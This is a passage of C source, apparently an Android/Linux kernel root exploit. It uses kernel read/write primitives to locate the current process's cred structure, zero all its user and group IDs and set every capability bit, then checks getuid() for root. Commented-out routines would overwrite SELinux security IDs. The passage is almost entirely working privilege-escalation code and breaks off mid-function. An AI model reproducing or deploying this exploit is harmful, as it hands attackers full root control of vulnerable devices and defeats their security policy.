= write_kernel(security_addr,security,sizeof(struct task_security_struct)); 666 | // if(ret == -1){ 667 | // printf("[-]selinux patch failed\n"); 668 | // }else{ 669 | // printf("[+]selinux patch ok\n"); 670 | // } 671 | // ret = read_kernel(security_addr,&test,sizeof(test)); 672 | // if(ret == -1){ 673 | // printf("[-]read security failed\n"); 674 | // }else{ 675 | // printf("%d,%d,%d,%d,%d,%d\n",test.osid,test.sid,test.exec_sid,test.create_sid,test.keycreate_sid,test.sockcreate_sid); 676 | // } 677 | // return 0; 678 | // } 679 | 680 | // int patch_selinux2(void *security_addr_point){ 681 | // struct task_security_struct *security = (struct task_security_struct *)malloc(sizeof(struct task_security_struct)); 682 | // security->osid = 1; 683 | // security->sid = 1; 684 | // security->exec_sid = 0; 685 | // security->create_sid = 0; 686 | // security->keycreate_sid = 0; 687 | // security->sockcreate_sid = 0; 688 | // int ret = write_kernel(security_addr_point,&security,4); 689 | // if(ret == -1){ 690 | // printf("[-]selinux patch failed\n"); 691 | // }else{ 692 | // printf("[+]selinux patch ok\n"); 693 | // } 694 | // return 0; 695 | // } 696 | 697 | int patch_cred(void *cred_addr){ 698 | int ret; 699 | struct task_security_struct *security = (struct task_security_struct *)malloc(sizeof(struct task_security_struct)); 700 | security->osid = 1; 701 | security->sid = 1; 702 | security->exec_sid = 0; 703 | security->create_sid = 0; 704 | security->keycreate_sid = 0; 705 | security->sockcreate_sid = 0; 706 | struct cred *cred = (struct cred*)malloc(sizeof(struct cred)+0x40); 707 | if(!cred){ 708 | printf("[-]malloc cred failed\n"); 709 | return -1; 710 | } 711 | ret = read_kernel(cred_addr,cred,sizeof(struct cred)+0x40); 712 | if(ret == -1){ 713 | printf("[-]copy cred failed\n"); 714 | }else{ 715 | cred->uid = 0; 716 | cred->gid = 0; 717 | cred->suid = 0; 718 | cred->sgid = 0; 719 | cred->euid = 0; 720 | cred->egid = 0; 721 | cred->fsuid = 0; 722 | cred->fsgid = 0; 723 | cred->cap_inheritable.cap[0] = ~0; 724 | cred->cap_inheritable.cap[1] = ~0; 725 | cred->cap_permitted.cap[0] = ~0; 726 | cred->cap_permitted.cap[1] = ~0; 727 | cred->cap_effective.cap[0] = ~0; 728 | cred->cap_effective.cap[1] = ~0; 729 | cred->cap_bset.cap[0] = ~0; 730 | cred->cap_bset.cap[1] = ~0; 731 | //printf("%p\n",*(void **)((void *)cred+0x58)); 732 | //*(void **)((void *)cred+0x58) = JOP_BASE_ADDR; 733 | //scanf("%d",&ret); 734 | ret = write_kernel(cred_addr,cred,sizeof(struct cred)); 735 | if(ret == -1){ 736 | printf("[-]write cred to kernel stack failed\n"); 737 | }else{ 738 | printf("[+]write cred to kernel stack succuess\n"); 739 | // void *security_addr = *(void **)((void *)cred+0x58); 740 | // patch_selinux(security_addr); 741 | //patch_selinux2((void *)cred_addr+0x58); 742 | } 743 | } 744 | free(cred); 745 | return ret; 746 | } 747 | 748 | int do_get_root(){ 749 | void *task_struct_addr,*cred_addr; 750 | struct thread_info_head *thread_info; 751 | int ret; 752 | if(!prepare_pipe()){ 753 | return false; 754 | } 755 | thread_info = (struct thread_info_head *)kerner_sp; 756 | task_struct_addr = get_stask_struct_addr(thread_info); 757 | if(!task_struct_addr){ 758 | return false; 759 | } 760 | cred_addr = find_struct_cred_addr(task_struct_addr); 761 | if(!cred_addr){ 762 | return false; 763 | } 764 | ret = patch_cred(cred_addr); 765 | if(ret == -1){ 766 | return false; 767 | } 768 | if( getuid() == 0){ 769 | printf("[+]root done\n"); 770 | return true; 771 | }else{ 772 | printf("[-]root failed\n"); 773 | return false; 774 | } 775 | } 776 | 777 | void clean_physmap(){ 778 | int i=0; 779 | for(i=0;i